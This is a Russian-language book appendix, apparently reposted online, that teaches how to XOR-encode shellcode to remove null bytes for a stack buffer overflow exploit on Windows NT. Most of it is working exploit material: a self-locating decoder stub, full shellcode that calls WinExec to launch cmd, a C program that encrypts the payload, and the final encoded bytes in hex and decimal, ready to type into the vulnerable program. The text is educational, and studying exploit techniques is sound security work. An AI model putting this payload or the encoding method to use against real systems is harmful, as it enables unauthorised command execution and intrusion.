Дополнение. Шифровка кода

В дополнении «Использование срыва стека для запуска командного интерпретатора под Windows NT» к главе «Технология срыва стека» были рассмотрены некоторые способы избавления от нулей, встречающихся в исполняемом коде. Грубо их можно разделить на следующие категории:

· Использование математических и логических операций для вычисления требуемого результата на лету. (Например: XOR EAX,EAX; AND EAX,0xFF??FFFF; INC [EAX])

· Использование SEX[328]-мнемоник, (Например, вместо 05 20 00 00 00 add eax,0x20 можно использовать 83 C0 20 add eax,+0x20)

· Использование регистров (ячеек памяти) уже содержащих требуемое значение

Однако SEX-мнемоники выручают не во всех случаях, использование «мусора», оставленного вызывающий код функцией, ненадежно и не позволяет создать мобильный код[329], а использование математических операций для избавления от каждого нуля при большом количестве нулей потребует много памяти, которой может не хватить.

Поэтому, часто оказывается выгоднее шифровать весь код целиком, поскольку простейший декодер занимает порядка шестнадцати байт, а каждая операция избавления от нулевой ячейки требует по крайней мере три байта (FE 42?? INC b, [EDX+??]). Легко посчитать, если в передаваемом коде наличествуют более шести нулевых несмежных байт, использование декодера позволяет сэкономить память.

Другое преимущество декодера заключается в упрощении кода, поскольку теперь не требуется «ломать голову», пытаясь избавится от вездесущих нулей. Например, следующая конструкция позволяет создавать мобильный код, работающий независимо от того, где он расположен в памяти:

· 00000000: E8 00 00 00 00 call 000000005

· 00000005: 58 pop eax

Вызов CALL 0x5 заносит в стек значение регистра указателя команд, который содержит смещение следующей инструкции, а инструкция EAX выталкивает его из стека. Теперь появляется возможность адресовать все смещения, используя EAX (или любой другой регистр) в качестве базы.

Но вызов “CALL 0x5” содержит четыре нулевых байта, поэтому должен быть переписан таким образом, в нем не встретилось ни одного нуля. Один из возможных вариантов показан ниже:

· 00000000: EB03 jmps 000000005

· 00000002: 58 pop eax

· 00000003: EB05 jmps 00000000A

· 00000005: E8F8FFFFFF call 000000002

Это не только занимает много памяти, но и усложняет написание программы, поскольку постоянно приходится помнить о «злополучных» нулях и выискивать такие комбинации, где они не встречаются. А это требует очень хорошо значения ассемблера и принципа кодирования команд микропроцессора. Декодер же способен автоматически избавиться от всех нулей, упрощая написание программы.

В простейшем случае сердцем декодера может стать логическая операция XOR. Одно из ее свойств заключается в том, что A XOR B = (A XOR B) XOR B, т.е. повторное шифрование восстанавливает исходный текст.

Другое свойство XOR: A XOR A == 0, поэтому в качестве ключа шифрования необходимо выбрать такой байт, который бы ни разу не встречался в шифруемом коде, иначе он обратится в ноль, что недопустимо.

Один из вариантов расшифровщика приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/xor.bin”):

· 00000000: 33 C9 xor ecx,ecx

· 00000002: 83 C1 10 add ecx,??;

· 00000005: 33 C0 xor eax,eax

· 00000007: 83 C0 10 add eax,011;

· 0000000A: 80 34 04?? xor b,[esp][eax],??;

· 0000000E: 40 inc eax

· 0000000F: E2 F9 loop 00000000A -------- (1)

Для обеспечения мобильности все смещения вычисляются от регистра ESP, при этом он должен указывать на начало декодера. А в регистр ECX необходимо занести длину расшифровываемого фрагмента.

Например, код, запускающий командный интерпретатор в программе buff.cmd.c (смотри дополнение «Использование срыва стека для запуска командного интерпретатора под Windows NT), переписанный с использованием декодера может выглядеть так:

· 00000000: 83 EC 30 sub esp,030;

· 00000003: 8B C4 mov eax,esp

· 00000005: 33 C9 xor ecx,ecx

· 00000007: 83 C1 13 add ecx,013;

· 0000000A: 80 70 19 90 xor b,[eax][00019],090;

· 0000000E: 40 inc eax

· 0000000F: E2 F9 loop 00000000A

· 00000011: 50 push eax

· 00000012: 83 C0 14 add eax,014;

· 00000015: 50 push eax

· 00000016: B8 01 86 E9 77 mov eax,077E98601;

· 0000001B: FF D0 call eax

· 0000001D: EB FE jmps 00000001D

· 0000001F: 63 ‘c’

· 00000020: 6D ‘m’

· 00000021: 64 ‘d’

· 00000022: 00 ‘\0’

· 00000023: 34 незначащий байт

· 00000024: 58 адрес

· 00000025: FF возв-

· 00000026: 12 рата

· 00000027: 00

Расшифровщик занимает много места и в остающееся пространство уже не удается целиком записать имя командного интерпретатора. Конечно, функция WinExec сумеет запустить файл без указания расширения, но в оставшиеся четыре байта влезет имя далеко не всякого файла. Поэтому, использование декодера в этом случае явно нецелесообразно, и приводится лишь для приведения работоспособной иллюстрации к главе.

Но полученный код еще не готов к употреблению. Со смещения 0х11 (первый расшифровываемый байт) по 0х23 (последний расшифровываемый байт) его необходимо зашифровать, выполнив над каждым байтом операцию XOR 0x90. Такой ключ шифрования выбран потому, что в шифруемом фрагменте нет ни одного байта, равного 0х90. Следовательно, в зашифрованной строке не окажется ни одного нуля. Другим недопустимым символом является код клавиши <ENTER>, равный 0xD. Если он встретится во вводимой строке, система воспримет его как завершение строки и прекратит ввод.

Для шифровки можно воспользоваться любой утилитой, наподобие шестнадцатеричных редакторов QVIEW (или HIEW), но нетрудно это реализовать и на языке Си. Один из простейших вариантов приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.crypt.c”). Для упрощения понимания его работы никакие проверки не выполняются.

· #include <stdio.h>

·

· main()

· {

· FILE *fin,*fout;

· char buff[40];

· int a=0x11;

·

· fin=fopen("buff.raw","rb");

· fout=fopen("buff.ok","wb");

· fread(&buff[0],1,40,fin);

· for (;a<0x24;a++) buff[a]=buff[a] ^ 0x90;

· fwrite(&buff[0],1,40,fout);

· close(fin);

· close(fout);

· }

·

·

Полученный в результате шифровки файл должен выглядеть следующим образом (на диске, прилагаемом к книге, он находится в директории “/SRC” и называется “buff.ok”)

· 00000000: 83 EC 30 8B C4 33 C9 83 │ C1 13 80 70 19 90 40 E2 Гь0Л─3╔Г┴‼Аp↓Р@т

· 00000010: F9 C0 13 50 84 C0 28 91 │ 16 79 E7 6F 40 7B 6E F3 ∙└‼PД└(С▬yчo@{nє

· 00000020: FD F4 90 A4 58 FF 12 00 │ ¤ЇРдX ↕

То же самое в десятичном виде, предназначенное для ввода в компьютер с помощью клавиши Alt выглядит так:

· 131 236 048 139 196 051 201 131 193 019 128 112 025

· 144 064 226 249 192 019 080 132 192 040 145 022 121

· 231 111 064 123 110 243 253 244 144 164 088 255 018

Если все ввести правильно и без ошибок, запустится командный интерпретатор.

Дата добавления: 2015-11-14